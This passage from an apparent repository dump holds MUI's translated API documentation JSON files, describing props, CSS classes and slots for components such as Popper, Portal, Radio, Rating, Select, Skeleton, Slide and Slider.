    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"anchorEl\": {\n      \"description\": \"An HTML element, <a href=\\\"https://popper.js.org/docs/v2/virtual-elements/\\\">virtualElement</a>, or a function that returns either. It&#39;s used to set the position of the popper. The return value will passed as the reference object of the Popper instance.\"\n    },\n    \"children\": { \"description\": \"Popper render function or node.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"container\": {\n      \"description\": \"An HTML element or function that returns one. The <code>container</code> will have the portal children appended to it.<br>You can also provide a callback, which is called in a React layout effect. This lets you set the container from a ref, and also makes server-side rendering possible.<br>By default, it uses the body of the top-level document object, so it&#39;s simply <code>document.body</code> most of the time.\"\n    },\n    \"disablePortal\": {\n      \"description\": \"The <code>children</code> will be under the DOM hierarchy of the parent component.\"\n    },\n    \"keepMounted\": {\n      \"description\": \"Always keep the children in the DOM. This prop can be useful in SEO situation or when you want to maximize the responsiveness of the Popper.\"\n    },\n    \"modifiers\": {\n      \"description\": \"Popper.js is based on a &quot;plugin-like&quot; architecture, most of its features are fully encapsulated &quot;modifiers&quot;.<br>A modifier is a function that is called each time Popper.js needs to compute the position of the popper. For this reason, modifiers should be very performant to avoid bottlenecks. To learn how to create a modifier, <a href=\\\"https://popper.js.org/docs/v2/modifiers/\\\">read the modifiers documentation</a>.\"\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"placement\": { \"description\": \"Popper placement.\" },\n    \"popperOptions\": {\n      \"description\": \"Options provided to the <a href=\\\"https://popper.js.org/docs/v2/constructors/#options\\\"><code>Popper.js</code></a> instance.\"\n    },\n    \"popperRef\": { \"description\": \"A ref that points to the used popper instance.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside the Popper.\" },\n    \"slots\": {\n      \"description\": \"The components used for each slot inside the Popper. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transition\": {\n      \"description\": \"Help supporting a react-transition-group/Transition component.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Class name applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/portal/portal.json",
    "content": "{\n  \"componentDescription\": \"Portals provide a first-class way to render children into a DOM node\\nthat exists outside the DOM hierarchy of the parent component.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The children to render into the <code>container</code>.\" },\n    \"container\": {\n      \"description\": \"An HTML element or function that returns one. The <code>container</code> will have the portal children appended to it.<br>You can also provide a callback, which is called in a React layout effect. This lets you set the container from a ref, and also makes server-side rendering possible.<br>By default, it uses the body of the top-level document object, so it&#39;s simply <code>document.body</code> most of the time.\"\n    },\n    \"disablePortal\": {\n      \"description\": \"The <code>children</code> will be under the DOM hierarchy of the parent component.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/radio/radio.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"checked\": { \"description\": \"If <code>true</code>, the component is checked.\" },\n    \"checkedIcon\": { \"description\": \"The icon to display when the component is checked.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableRipple\": { \"description\": \"If <code>true</code>, the ripple effect is disabled.\" },\n    \"icon\": { \"description\": \"The icon to display when the component is unchecked.\" },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"name\": { \"description\": \"Name attribute of the <code>input</code> element.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the state is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string). You can pull out the new checked state by accessing <code>event.target.checked</code> (boolean).\"\n        }\n      }\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense radio styling.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": { \"description\": \"The value of the component. The DOM API casts this to a string.\" }\n  },\n  \"classDescriptions\": {\n    \"checked\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>checked={true}</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"input\": \"The component that renders the input slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/radio-group/radio-group.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"name\": {\n      \"description\": \"The name used to reference the value of the control. If you don&#39;t provide this prop, it falls back to a randomly generated name.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when a radio button is selected.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": {\n          \"name\": \"value\",\n          \"description\": \"The value of the selected radio button. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"value\": {\n      \"description\": \"Value of the selected radio button. The DOM API casts this to a string.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"row\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>row={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/rating/rating.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"emptyIcon\": { \"description\": \"The icon to display when empty.\" },\n    \"emptyLabelText\": { \"description\": \"The label read when the rating input is empty.\" },\n    \"getLabelText\": {\n      \"description\": \"Accepts a function which returns a string value that provides a user-friendly name for the current value of the rating. This is important for screen reader users.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\",\n      \"typeDescriptions\": {\n        \"value\": { \"name\": \"value\", \"description\": \"The rating label&#39;s value to format.\" }\n      }\n    },\n    \"highlightSelectedOnly\": {\n      \"description\": \"If <code>true</code>, only the selected icon will be highlighted.\"\n    },\n    \"icon\": { \"description\": \"The icon to display.\" },\n    \"max\": { \"description\": \"Maximum rating.\" },\n    \"name\": {\n      \"description\": \"The name attribute of the radio <code>input</code> elements. This input <code>name</code> should be unique within the page. Being unique within a form is insufficient since the <code>name</code> is used to generate IDs.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"The new value.\" }\n      }\n    },\n    \"onChangeActive\": {\n      \"description\": \"Callback function that is fired when the hover state changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"The new value.\" }\n      }\n    },\n    \"precision\": { \"description\": \"The minimum increment value change allowed.\" },\n    \"readOnly\": { \"description\": \"Removes all hover effects and pointer events.\" },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": { \"description\": \"The rating value.\" }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"keyboard focused\"\n    },\n    \"iconActive\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the icon wrapping elements\",\n      \"conditions\": \"active\"\n    },\n    \"iconEmpty\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the icon wrapping elements\",\n      \"conditions\": \"empty\"\n    },\n    \"iconFilled\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the icon wrapping elements\",\n      \"conditions\": \"filled\"\n    },\n    \"iconFocus\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the icon wrapping elements\",\n      \"conditions\": \"focus\"\n    },\n    \"iconHover\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the icon wrapping elements\",\n      \"conditions\": \"hover\"\n    },\n    \"labelEmptyValueActive\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the label of the &quot;no value&quot; input\",\n      \"conditions\": \"it is active\"\n    },\n    \"readOnly\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>readOnly={true}</code>\"\n    },\n    \"sizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"large\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"visuallyHidden\": { \"description\": \"Visually hide an element.\" }\n  },\n  \"slotDescriptions\": {\n    \"decimal\": \"The component used for the decimal slot.\",\n    \"icon\": \"The component used for the icon slot.\",\n    \"label\": \"The component used for the label slot.\",\n    \"root\": \"The component used for the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/scoped-css-baseline/scoped-css-baseline.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"enableColorScheme\": {\n      \"description\": \"Enable <code>color-scheme</code> CSS property to use <code>theme.palette.mode</code>. For more details, check out <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\\\">https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme</a> For browser support, check out <a href=\\\"https://caniuse.com/?search=color-scheme\\\">https://caniuse.com/?search=color-scheme</a>\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/select/select.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"autoWidth\": {\n      \"description\": \"If <code>true</code>, the width of the popover will automatically be set according to the items inside the menu, otherwise it will be at least the width of the select input.\"\n    },\n    \"children\": {\n      \"description\": \"The option elements to populate the select with. Can be some <code>MenuItem</code> when <code>native</code> is false and <code>option</code> when <code>native</code> is true.<br>⚠️The <code>MenuItem</code> elements <strong>must</strong> be direct descendants when <code>native</code> is false.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"defaultOpen\": {\n      \"description\": \"If <code>true</code>, the component is initially open. Use when the component open state is not controlled (i.e. the <code>open</code> prop is not defined). You can only use it when the <code>native</code> prop is <code>false</code> (default).\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"displayEmpty\": {\n      \"description\": \"If <code>true</code>, a value is displayed even if no items are selected.<br>In order to display a meaningful value, a function can be passed to the <code>renderValue</code> prop which returns the value to be displayed when no items are selected.<br>⚠️ When using this prop, make sure the label doesn&#39;t overlap with the empty displayed value. The label should either be hidden or forced to a shrunk state.\"\n    },\n    \"IconComponent\": { \"description\": \"The icon that displays the arrow.\" },\n    \"id\": {\n      \"description\": \"The <code>id</code> of the wrapper element or the <code>select</code> element when <code>native</code>.\"\n    },\n    \"input\": {\n      \"description\": \"An <code>Input</code> element; does not have to be a material-ui specific <code>Input</code>.\"\n    },\n    \"inputProps\": {\n      \"description\": \"<a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes\\\">Attributes</a> applied to the <code>input</code> element. When <code>native</code> is <code>true</code>, the attributes are applied on the <code>select</code> element.\"\n    },\n    \"label\": {\n      \"description\": \"See <a href=\\\"https://mui.com/material-ui/api/outlined-input/#props\\\">OutlinedInput#label</a>\"\n    },\n    \"labelId\": {\n      \"description\": \"The ID of an element that acts as an additional label. The Select will be labelled by the additional label and the selected value.\"\n    },\n    \"MenuProps\": {\n      \"description\": \"Props applied to the <a href=\\\"https://mui.com/material-ui/api/menu/\\\"><code>Menu</code></a> element.\"\n    },\n    \"multiple\": {\n      \"description\": \"If <code>true</code>, <code>value</code> must be an array and the menu will support multiple selections.\"\n    },\n    \"native\": {\n      \"description\": \"If <code>true</code>, the component uses a native <code>select</code> element.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when a menu item is selected.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (any). <strong>Warning</strong>: This is a generic event, not a change event, unless the change event is caused by browser autofill.\"\n        },\n        \"child\": {\n          \"name\": \"child\",\n          \"description\": \"The react element that was selected when <code>native</code> is <code>false</code> (default).\"\n        }\n      }\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed. Use it in either controlled (see the <code>open</code> prop), or uncontrolled mode (to detect when the Select collapses).\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"onOpen\": {\n      \"description\": \"Callback fired when the component requests to be opened. Use it in either controlled (see the <code>open</code> prop), or uncontrolled mode (to detect when the Select expands).\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"open\": {\n      \"description\": \"If <code>true</code>, the component is shown. You can only use it when the <code>native</code> prop is <code>false</code> (default).\"\n    },\n    \"renderValue\": {\n      \"description\": \"Render the selected value. You can only use it when the <code>native</code> prop is <code>false</code> (default).\",\n      \"typeDescriptions\": {\n        \"value\": {\n          \"name\": \"value\",\n          \"description\": \"The <code>value</code> provided to the component.\"\n        }\n      }\n    },\n    \"SelectDisplayProps\": { \"description\": \"Props applied to the clickable div element.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The <code>input</code> value. Providing an empty string will select no options. Set to an empty string <code>&#39;&#39;</code> if you don&#39;t want any of the available options to be selected.<br>If the value is an object it must have reference equality with the option in order to be selected. If the value is not an object, the string representation must match with the string representation of the option in order to be selected.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the select component <code>disabled</code> class\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"focused\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"it is focused\"\n    },\n    \"icon\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the icon component\" },\n    \"iconOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the icon component\",\n      \"conditions\": \"the popup is open\"\n    },\n    \"multiple\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>multiple={true}</code>\"\n    },\n    \"nativeInput\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the underlying native input component\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"select\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the select component <code>select</code> class\"\n    },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the select component\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/skeleton/skeleton.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"animation\": {\n      \"description\": \"The animation. If <code>false</code> the animation effect is disabled.\"\n    },\n    \"children\": { \"description\": \"Optional children to infer width and height from.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"height\": {\n      \"description\": \"Height of the skeleton. Useful when you don&#39;t want to adapt the skeleton to a text element but for instance a card.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The type of content that will be rendered.\" },\n    \"width\": {\n      \"description\": \"Width of the skeleton. Useful when the skeleton is inside an inline element with no width of its own.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"circular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"circular\\\"</code>\"\n    },\n    \"fitContent\": {\n      \"description\": \"Styles applied when the component is passed children and no width.\"\n    },\n    \"heightAuto\": {\n      \"description\": \"Styles applied when the component is passed children and no height.\"\n    },\n    \"pulse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>animation=\\\"pulse\\\"</code>\"\n    },\n    \"rectangular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"rectangular\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"rounded\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"rounded\\\"</code>\"\n    },\n    \"text\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"text\\\"</code>\"\n    },\n    \"wave\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>animation=\\\"wave\\\"</code>\"\n    },\n    \"withChildren\": { \"description\": \"Styles applied when the component is passed children.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/slide/slide.json",
    "content": "{\n  \"componentDescription\": \"The Slide transition is used by the [Drawer](/material-ui/react-drawer/) component.\\nIt uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\",\n  \"propDescriptions\": {\n    \"addEndListener\": {\n      \"description\": \"Add a custom transition end trigger. Called with the transitioning DOM node and a done callback. Allows for more fine grained transition end logic. Note: Timeouts are still used as a fallback if provided.\"\n    },\n    \"appear\": {\n      \"description\": \"Perform the enter transition when it first mounts if <code>in</code> is also <code>true</code>. Set this to <code>false</code> to disable this behavior.\"\n    },\n    \"children\": { \"description\": \"A single child content element.\", \"requiresRef\": true },\n    \"container\": {\n      \"description\": \"An HTML element, or a function that returns one. It&#39;s used to set the container the Slide is transitioning from.\"\n    },\n    \"direction\": { \"description\": \"Direction the child node will enter from.\" },\n    \"easing\": {\n      \"description\": \"The transition timing function. You may specify a single easing or a object containing enter and exit values.\"\n    },\n    \"in\": { \"description\": \"If <code>true</code>, the component will transition in.\" },\n    \"timeout\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/slider/slider.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"aria-label\": { \"description\": \"The label of the slider.\" },\n    \"aria-labelledby\": {\n      \"description\": \"The id of the element containing a label for the slider.\"\n    },\n    \"aria-valuetext\": {\n      \"description\": \"A string value that provides a user-friendly name for the current value of the slider.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableSwap\": {\n      \"description\": \"If <code>true</code>, the active thumb doesn&#39;t swap when moving pointer over a thumb while dragging another thumb.\"\n    },\n    \"getAriaLabel\": {\n      \"description\": \"Accepts a function which returns a string value that provides a user-friendly name for the thumb labels of the slider. This is important for screen reader users.\",\n      \"typeDescriptions\": {\n        \"index\": { \"name\": \"index\", \"description\": \"The thumb label&#39;s index to format.\" }\n      }\n    },\n    \"getAriaValueText\": {\n      \"description\": \"Accepts a function which returns a string value that provides a user-friendly name for the current value of the slider. This is important for screen reader users.\",\n      \"typeDescriptions\": {\n        \"value\": { \"name\": \"value\", \"description\": \"The thumb label&#39;s value to format.\" },\n        \"index\": { \"name\": \"index\", \"description\": \"The thumb label&#39;s index to format.\" }\n      }\n    },\n    \"marks\": {\n      \"description\": \"Marks indicate predetermined values to which the user can move the slider. If <code>true</code> the marks are spaced according the value of the <code>step</code> prop. If an array, it should contain objects with <code>value</code> and an optional <code>label</code> keys.\"\n    },\n    \"max\": {\n      \"description\": \"The maximum allowed value of the slider. Should not be equal to min.\"\n    },\n    \"min\": {\n      \"description\": \"The minimum allowed value of the slider. Should not be equal to max.\"\n    },\n    \"name\": { \"description\": \"Name attribute of the hidden <code>input</code> element.\" },\n    \"onChange\": {\n      \"description\": \"Callback function that is fired when the slider&#39;s value changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (any). <strong>Warning</strong>: This is a generic event not a change event.\"\n        },\n        \"value\": { \"name\": \"value\", \"description\": \"The new value.\" },\n        \"activeThumb\": {\n          \"name\": \"activeThumb\",\n          \"description\": \"Index of the currently moved thumb.\"\n        }\n      }\n    },\n    \"onChangeCommitted\": {\n      \"description\": \"Callback function that is fired when the <code>mouseup</code> is triggered.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. <strong>Warning</strong>: This is a generic event not a change event.\"\n        },\n        \"value\": { \"name\": \"value\", \"description\": \"The new value.\" }\n      }\n    },\n    \"orientation\": { \"description\": \"The component orientation.\" },\n    \"scale\": { \"description\": \"A transformation function, to change the scale of the slider.\" },\n    \"shiftStep\": {\n      \"description\": \"The granularity with which the slider can step through values when using Page Up/Page Down or Shift + Arrow Up/Arrow Down.\"\n    },\n    \"size\": { \"description\": \"The size of the slider.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"step\": {\n      \"description\": \"The granularity with which the slider can step through values. (A &quot;discrete&quot; slider.) The <code>min</code> prop serves as the origin for the valid values. We recommend (max - min) to be evenly divisible by the step.<br>When step is <code>null</code>, the thumb can only be slid onto marks provided with the <code>marks</code> prop.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"tabIndex\": { \"description\": \"Tab index attribute of the hidden <code>input</code> element.\" },\n    \"track\": {\n      \"description\": \"<p>The track presentation:</p>\\n<ul>\\n<li><code>normal</code> the track will render a bar representing the slider value.</li>\\n<li><code>inverted</code> the track will render a bar representing the remaining slider value.</li>\\n<li><code>false</code> the track will render without a bar.</li>\\n</ul>\\n\"\n    },\n    \"value\": {\n      \"description\": \"The value of the slider. For ranged sliders, provide an array with two values.\"\n    },\n    \"valueLabelDisplay\": {\n      \"description\": \"<p>Controls when the value label is displayed:</p>\\n<ul>\\n<li><code>auto</code> the value label will display when the thumb is hovered or focused.</li>\\n<li><code>on</code> will display persistently.</li>\\n<li><code>off</code> will never display.</li>\\n</ul>\\n\"\n    },\n    \"valueLabelFormat\": {\n      \"description\": \"The format function the value label&#39;s value.<br>When a function is provided, it should have the following signature:<br>- {number} value The value label&#39;s value to format - {number} index The value label&#39;s index to format\"\n    }\n  },\n  \"classDescriptions\": {\n    \"active\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the thumb element\",\n      \"conditions\": \"it&#39;s active\"\n    },\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root and thumb element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"dragging\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root\",\n      \"conditions\": \"a thumb is being dragged\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the thumb element\",\n      \"conditions\": \"keyboard focused\"\n    },\n    \"markActive\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the mark element\",\n      